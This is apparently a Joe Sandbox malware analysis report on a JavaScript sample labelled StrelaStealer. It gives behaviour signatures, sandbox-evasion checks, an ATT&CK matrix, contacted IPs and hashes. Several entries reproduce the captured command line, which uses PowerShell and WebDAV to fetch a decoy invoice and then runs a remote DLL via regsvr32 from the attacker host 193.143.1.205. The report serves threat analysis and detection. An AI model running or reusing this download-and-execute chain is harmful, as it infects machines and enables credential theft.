Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4152			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5708			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep count: 4152 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep count: 5708 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2640	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7016	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1794582655.0000023A4AD08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000002.1795060766.0000023A4AD6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2978800090.000002133BC55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2978698394.000002133BC21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.2977749248.000002133662B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24283946104055016.js	7%	Virustotal		Browse
24283946104055016.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/%r	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1696053923.00000164B01FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2978698394.000002133BC11000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/%r	net.exe, 00000006.00000003.1792309385.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794674825.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1784292612.000002133BEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1794582655.0000023A4AD08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1783099492.0000023A4AD5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794582655.0000023A4AD08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1792309385.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795060766.0000023A4AD60000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1794674825.0000023A4AD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1784292612.000002133BEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589030
Start date and time:	2025-01-11 08:39:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24283946104055016.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 23.200.0.21, 23.200.0.33, 192.168.2.4, 172.202.163.200, 34.237.241.83, 104.77.220.172, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:40:55	API Interceptor	22x Sleep call for process: powershell.exe modified
02:40:58	API Interceptor	2x Sleep call for process: svchost.exe modified
02:40:59	API Interceptor	1x Sleep call for process: net.exe modified
02:41:06	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073166159936749
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	A33785C1F1BD1BD97F7A1E9F1B348E18
SHA1:	25B31B23BAB1626C997CB85C1C70BAB958EB70AA
SHA-256:	32142D8D2B0453E1398A27B0DBAEA2D7C20544F30694BEDCFD855C079EBDFB66
